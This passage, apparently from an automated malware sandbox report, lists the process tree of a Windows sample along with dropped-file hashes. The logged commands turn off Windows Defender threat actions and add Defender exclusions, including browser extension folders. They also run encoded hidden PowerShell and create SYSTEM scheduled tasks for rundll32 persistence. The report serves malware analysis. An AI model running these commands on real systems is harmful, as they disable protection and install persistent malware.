ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147749376\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147749376\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737394\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737394\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147841147\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147841147\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"359386\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"359386\" /t REG_SZ /d 6 /reg:64;"
                                                                      2⤵
                                                                      • Modifies data under HKEY_USERS
                                                                      • Suspicious use of AdjustPrivilegeToken
                                                                      PID:4700
                                                                      • C:\Windows\SysWOW64\cmd.exe
                                                                        "C:\Windows\system32\cmd.exe" /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 225451 /t REG_SZ /d 6 /reg:32
                                                                        3⤵
                                                                          PID:4588
                                                                          • C:\Windows\SysWOW64\reg.exe
                                                                            REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 225451 /t REG_SZ /d 6 /reg:32
                                                                            4⤵
                                                                              PID:5812
                                                                          • C:\Windows\SysWOW64\reg.exe
                                                                            "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 225451 /t REG_SZ /d 6 /reg:64
                                                                            3⤵
                                                                              PID:5824
                                                                            • C:\Windows\SysWOW64\reg.exe
                                                                              "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 256596 /t REG_SZ /d 6 /reg:32
                                                                              3⤵
                                                                                PID:3080
                                                                              • C:\Windows\SysWOW64\reg.exe
                                                                                "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 256596 /t REG_SZ /d 6 /reg:64
                                                                                3⤵
                                                                                  PID:3672
                                                                                • C:\Windows\SysWOW64\reg.exe
                                                                                  "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 242872 /t REG_SZ /d 6 /reg:32
                                                                                  3⤵
                                                                                    PID:5288
                                                                                  • C:\Windows\SysWOW64\reg.exe
                                                                                    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 242872 /t REG_SZ /d 6 /reg:64
                                                                                    3⤵
                                                                                      PID:2232
                                                                                    • C:\Windows\SysWOW64\reg.exe
                                                                                      "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147749373 /t REG_SZ /d 6 /reg:32
                                                                                      3⤵
                                                                                        PID:2444
                                                                                      • C:\Windows\SysWOW64\reg.exe
                                                                                        "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147749373 /t REG_SZ /d 6 /reg:64
                                                                                        3⤵
                                                                                          PID:936
                                                                                        • C:\Windows\SysWOW64\reg.exe
                                                                                          "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147807942 /t REG_SZ /d 6 /reg:32
                                                                                          3⤵
                                                                                            PID:5816
                                                                                          • C:\Windows\SysWOW64\reg.exe
                                                                                            "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147807942 /t REG_SZ /d 6 /reg:64
                                                                                            3⤵
                                                                                              PID:3464
                                                                                            • C:\Windows\SysWOW64\reg.exe
                                                                                              "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735735 /t REG_SZ /d 6 /reg:32
                                                                                              3⤵
                                                                                                PID:3284
                                                                                              • C:\Windows\SysWOW64\reg.exe
                                                                                                "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735735 /t REG_SZ /d 6 /reg:64
                                                                                                3⤵
                                                                                                  PID:5184
                                                                                                • C:\Windows\SysWOW64\reg.exe
                                                                                                  "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737010 /t REG_SZ /d 6 /reg:32
                                                                                                  3⤵
                                                                                                    PID:2852
                                                                                                  • C:\Windows\SysWOW64\reg.exe
                                                                                                    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737010 /t REG_SZ /d 6 /reg:64
                                                                                                    3⤵
                                                                                                      PID:3472
                                                                                                    • C:\Windows\SysWOW64\reg.exe
                                                                                                      "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737007 /t REG_SZ /d 6 /reg:32
                                                                                                      3⤵
                                                                                                        PID:1156
                                                                                                      • C:\Windows\SysWOW64\reg.exe
                                                                                                        "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737007 /t REG_SZ /d 6 /reg:64
                                                                                                        3⤵
                                                                                                          PID:5072
                                                                                                        • C:\Windows\SysWOW64\reg.exe
                                                                                                          "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737503 /t REG_SZ /d 6 /reg:32
                                                                                                          3⤵
                                                                                                            PID:3308
                                                                                                          • C:\Windows\SysWOW64\reg.exe
                                                                                                            "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737503 /t REG_SZ /d 6 /reg:64
                                                                                                            3⤵
                                                                                                              PID:5344
                                                                                                            • C:\Windows\SysWOW64\reg.exe
                                                                                                              "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6 /reg:32
                                                                                                              3⤵
                                                                                                                PID:4816
                                                                                                              • C:\Windows\SysWOW64\reg.exe
                                                                                                                "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6 /reg:64
                                                                                                                3⤵
                                                                                                                  PID:5596
                                                                                                                • C:\Windows\SysWOW64\reg.exe
                                                                                                                  "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147749376 /t REG_SZ /d 6 /reg:32
                                                                                                                  3⤵
                                                                                                                    PID:5880
                                                                                                                  • C:\Windows\SysWOW64\reg.exe
                                                                                                                    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147749376 /t REG_SZ /d 6 /reg:64
                                                                                                                    3⤵
                                                                                                                      PID:5956
                                                                                                                    • C:\Windows\SysWOW64\reg.exe
                                                                                                                      "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737394 /t REG_SZ /d 6 /reg:32
                                                                                                                      3⤵
                                                                                                                        PID:1720
                                                                                                                      • C:\Windows\SysWOW64\reg.exe
                                                                                                                        "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737394 /t REG_SZ /d 6 /reg:64
                                                                                                                        3⤵
                                                                                                                          PID:4744
                                                                                                                        • C:\Windows\SysWOW64\reg.exe
                                                                                                                          "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147841147 /t REG_SZ /d 6 /reg:32
                                                                                                                          3⤵
                                                                                                                            PID:5196
                                                                                                                          • C:\Windows\SysWOW64\reg.exe
                                                                                                                            "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147841147 /t REG_SZ /d 6 /reg:64
                                                                                                                            3⤵
                                                                                                                              PID:4092
                                                                                                                            • C:\Windows\SysWOW64\reg.exe
                                                                                                                              "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 359386 /t REG_SZ /d 6 /reg:32
                                                                                                                              3⤵
                                                                                                                                PID:1568
                                                                                                                              • C:\Windows\SysWOW64\reg.exe
                                                                                                                                "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 359386 /t REG_SZ /d 6 /reg:64
                                                                                                                                3⤵
                                                                                                                                  PID:5900
                                                                                                                              • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                powershell "cmd /C REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\LCifMpYymZWU2\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\LCifMpYymZWU2\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\gbPxNkbXHfUn\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\gbPxNkbXHfUn\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\mVqQIGUXDOgrC\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\mVqQIGUXDOgrC\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\yucluTmaHGGxjmhxbXR\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\yucluTmaHGGxjmhxbXR\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\yvWovCiVU\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\yvWovCiVU\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\ProgramData\WkkDuRgYrrqHXcVB\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\ProgramData\WkkDuRgYrrqHXcVB\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Extensions\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Extensions\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Users\Admin\AppData\Local\Temp\ElyBxStRAaEXFVuko\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Users\Admin\AppData\Local\Temp\ElyBxStRAaEXFVuko\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Windows\Temp\IzRZTwSZebgYVSAl\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Windows\Temp\IzRZTwSZebgYVSAl\" /t REG_DWORD /d 0 /reg:64;"
                                                                                                                                2⤵
                                                                                                                                  PID:1912
                                                                                                                                  • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                    "C:\Windows\system32\cmd.exe" /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\LCifMpYymZWU2" /t REG_DWORD /d 0 /reg:32
                                                                                                                                    3⤵
                                                                                                                                      PID:4528
                                                                                                                                      • C:\Windows\SysWOW64\reg.exe
                                                                                                                                        REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\LCifMpYymZWU2" /t REG_DWORD /d 0 /reg:32
                                                                                                                                        4⤵
                                                                                                                                          PID:860
                                                                                                                                      • C:\Windows\SysWOW64\reg.exe
                                                                                                                                        "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\LCifMpYymZWU2" /t REG_DWORD /d 0 /reg:64
                                                                                                                                        3⤵
                                                                                                                                          PID:184
                                                                                                                                        • C:\Windows\SysWOW64\reg.exe
                                                                                                                                          "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\gbPxNkbXHfUn" /t REG_DWORD /d 0 /reg:32
                                                                                                                                          3⤵
                                                                                                                                            PID:5404
                                                                                                                                          • C:\Windows\SysWOW64\reg.exe
                                                                                                                                            "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\gbPxNkbXHfUn" /t REG_DWORD /d 0 /reg:64
                                                                                                                                            3⤵
                                                                                                                                              PID:5676
                                                                                                                                            • C:\Windows\SysWOW64\reg.exe
                                                                                                                                              "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\mVqQIGUXDOgrC" /t REG_DWORD /d 0 /reg:32
                                                                                                                                              3⤵
                                                                                                                                                PID:5772
                                                                                                                                              • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\mVqQIGUXDOgrC" /t REG_DWORD /d 0 /reg:64
                                                                                                                                                3⤵
                                                                                                                                                  PID:1112
                                                                                                                                                • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                  "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\yucluTmaHGGxjmhxbXR" /t REG_DWORD /d 0 /reg:32
                                                                                                                                                  3⤵
                                                                                                                                                    PID:5764
                                                                                                                                                  • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\yucluTmaHGGxjmhxbXR" /t REG_DWORD /d 0 /reg:64
                                                                                                                                                    3⤵
                                                                                                                                                      PID:4728
                                                                                                                                                    • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                      "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\yvWovCiVU" /t REG_DWORD /d 0 /reg:32
                                                                                                                                                      3⤵
                                                                                                                                                        PID:5280
                                                                                                                                                      • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                        "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\yvWovCiVU" /t REG_DWORD /d 0 /reg:64
                                                                                                                                                        3⤵
                                                                                                                                                          PID:1144
                                                                                                                                                        • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                          "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\ProgramData\WkkDuRgYrrqHXcVB /t REG_DWORD /d 0 /reg:32
                                                                                                                                                          3⤵
                                                                                                                                                            PID:3300
                                                                                                                                                          • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                            "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\ProgramData\WkkDuRgYrrqHXcVB /t REG_DWORD /d 0 /reg:64
                                                                                                                                                            3⤵
                                                                                                                                                              PID:5416
                                                                                                                                                            • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                              "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions" /t REG_DWORD /d 0 /reg:32
                                                                                                                                                              3⤵
                                                                                                                                                                PID:5176
                                                                                                                                                              • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions" /t REG_DWORD /d 0 /reg:64
                                                                                                                                                                3⤵
                                                                                                                                                                  PID:1480
                                                                                                                                                                • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                  "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Extensions" /t REG_DWORD /d 0 /reg:32
                                                                                                                                                                  3⤵
                                                                                                                                                                    PID:5520
                                                                                                                                                                  • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Extensions" /t REG_DWORD /d 0 /reg:64
                                                                                                                                                                    3⤵
                                                                                                                                                                      PID:5216
                                                                                                                                                                    • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                      "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\Users\Admin\AppData\Local\Temp\ElyBxStRAaEXFVuko /t REG_DWORD /d 0 /reg:32
                                                                                                                                                                      3⤵
                                                                                                                                                                        PID:4980
                                                                                                                                                                      • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                        "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\Users\Admin\AppData\Local\Temp\ElyBxStRAaEXFVuko /t REG_DWORD /d 0 /reg:64
                                                                                                                                                                        3⤵
                                                                                                                                                                          PID:3172
                                                                                                                                                                        • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                          "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\Windows\Temp\IzRZTwSZebgYVSAl /t REG_DWORD /d 0 /reg:32
                                                                                                                                                                          3⤵
                                                                                                                                                                            PID:324
                                                                                                                                                                          • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                            "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\Windows\Temp\IzRZTwSZebgYVSAl /t REG_DWORD /d 0 /reg:64
                                                                                                                                                                            3⤵
                                                                                                                                                                              PID:1368
                                                                                                                                                                          • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                                                            schtasks /CREATE /TN "gyqPHDytF" /SC once /ST 00:31:43 /F /RU "Admin" /TR "powershell -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA=="
                                                                                                                                                                            2⤵
                                                                                                                                                                            • Creates scheduled task(s)
                                                                                                                                                                            PID:5532
                                                                                                                                                                          • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                                                            schtasks /run /I /tn "gyqPHDytF"
                                                                                                                                                                            2⤵
                                                                                                                                                                              PID:4056
                                                                                                                                                                            • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                                                              schtasks /DELETE /F /TN "gyqPHDytF"
                                                                                                                                                                              2⤵
                                                                                                                                                                                PID:956
                                                                                                                                                                              • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                                                                schtasks /CREATE /TN "ZJggANjsYpCqsGjEe" /SC once /ST 10:38:05 /RU "SYSTEM" /TR "\"C:\Windows\Temp\IzRZTwSZebgYVSAl\bfjxgfyuteUVCdh\boKwdAG.exe\" UK /lpsite_idgXi 385118 /S" /V1 /F
                                                                                                                                                                                2⤵
                                                                                                                                                                                • Creates scheduled task(s)
                                                                                                                                                                                PID:1312
                                                                                                                                                                              • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                                                                schtasks /run /I /tn "ZJggANjsYpCqsGjEe"
                                                                                                                                                                                2⤵
                                                                                                                                                                                  PID:5976
                                                                                                                                                                              • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE
                                                                                                                                                                                C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA==
                                                                                                                                                                                1⤵
                                                                                                                                                                                  PID:5132
                                                                                                                                                                                  • C:\Windows\System32\Conhost.exe
                                                                                                                                                                                    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                                                                                                    2⤵
                                                                                                                                                                                      PID:5288
                                                                                                                                                                                    • C:\Windows\system32\gpupdate.exe
                                                                                                                                                                                      "C:\Windows\system32\gpupdate.exe" /force
                                                                                                                                                                                      2⤵
                                                                                                                                                                                        PID:2296
                                                                                                                                                                                    • C:\Windows\system32\svchost.exe
                                                                                                                                                                                      C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s fhsvc
                                                                                                                                                                                      1⤵
                                                                                                                                                                                        PID:5956
                                                                                                                                                                                      • C:\Windows\system32\gpscript.exe
                                                                                                                                                                                        gpscript.exe /RefreshSystemParam
                                                                                                                                                                                        1⤵
                                                                                                                                                                                          PID:5408
                                                                                                                                                                                        • C:\Windows\Temp\IzRZTwSZebgYVSAl\bfjxgfyuteUVCdh\boKwdAG.exe
                                                                                                                                                                                          C:\Windows\Temp\IzRZTwSZebgYVSAl\bfjxgfyuteUVCdh\boKwdAG.exe UK /lpsite_idgXi 385118 /S
                                                                                                                                                                                          1⤵
                                                                                                                                                                                            PID:5352
                                                                                                                                                                                            • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                                                                              schtasks /DELETE /F /TN "bCAdHbOFiqtMCRhbmR"
                                                                                                                                                                                              2⤵
                                                                                                                                                                                                PID:5640
                                                                                                                                                                                              • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                cmd /C REG DELETE "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /v "exe" /f /reg:32
                                                                                                                                                                                                2⤵
                                                                                                                                                                                                  PID:1548
                                                                                                                                                                                                  • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                    REG DELETE "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /v "exe" /f /reg:32
                                                                                                                                                                                                    3⤵
                                                                                                                                                                                                      PID:5128
                                                                                                                                                                                                  • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                    cmd /C REG DELETE "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /v "exe" /f /reg:64
                                                                                                                                                                                                    2⤵
                                                                                                                                                                                                      PID:5324
                                                                                                                                                                                                      • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                        REG DELETE "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /v "exe" /f /reg:64
                                                                                                                                                                                                        3⤵
                                                                                                                                                                                                          PID:5508
                                                                                                                                                                                                      • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                                                                                        schtasks /CREATE /TR "rundll32 \"C:\Program Files (x86)\yvWovCiVU\VazfZB.dll\",#1" /RU "SYSTEM" /SC ONLOGON /TN "eGwAoTnpAObQfPU" /V1 /F
                                                                                                                                                                                                        2⤵
                                                                                                                                                                                                        • Creates scheduled task(s)
                                                                                                                                                                                                        PID:5416
                                                                                                                                                                                                      • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                                                                                        schtasks /CREATE /TN "eGwAoTnpAObQfPU2" /F /xml "C:\Program Files (x86)\yvWovCiVU\iMLilAM.xml" /RU "SYSTEM"
                                                                                                                                                                                                        2⤵
                                                                                                                                                                                                        • Creates scheduled task(s)
                                                                                                                                                                                                        PID:3380
                                                                                                                                                                                                      • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                                                                                        schtasks /END /TN "eGwAoTnpAObQfPU"
                                                                                                                                                                                                        2⤵
                                                                                                                                                                                                          PID:6076
                                                                                                                                                                                                        • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                                                                                          schtasks /DELETE /F /TN "eGwAoTnpAObQfPU"
                                                                                                                                                                                                          2⤵
                                                                                                                                                                                                            PID:5416

                                                                                                                                                                                                        Network

                                                                                                                                                                                                              MITRE ATT&CK Enterprise v15

                                                                                                                                                                                                              Replay Monitor

                                                                                                                                                                                                              Loading Replay Monitor...

                                                                                                                                                                                                              Downloads

                                                                                                                                                                                                              • C:\Program Files (x86)\yvWovCiVU\iMLilAM.xml

                                                                                                                                                                                                                Filesize

                                                                                                                                                                                                                2KB

                                                                                                                                                                                                                MD5

                                                                                                                                                                                                                80f39baf2347c1f2c402fc1384387897

                                                                                                                                                                                                                SHA1

                                                                                                                                                                                                                5e30def3a81bddc3f1dd77234360d3963ceb3987

                                                                                                                                                                                                                SHA256

                                                                                                                                                                                                                533c1b3950cb0d2e49dd241d03bf54e779fd5afd92ada48feeda6faa1f6c6023

                                                                                                                                                                                                                SHA512

                                                                                                                                                                                                                05a21eb990d954e9eadde6228622366f9588699624398ea916abc95b1a9746b04d4d1d2f144413949e827ba17d5d8ce1f46379824abdd1bff0729040ecc1b8ff

                                                                                                                                                                                                              • C:\Program Files\Mozilla Firefox\browser\features\{85FD6ACE-3736-491B-8514-6C8C9556E131}.xpi

                                                                                                                                                                                                                Filesize

                                                                                                                                                                                                                2.0MB

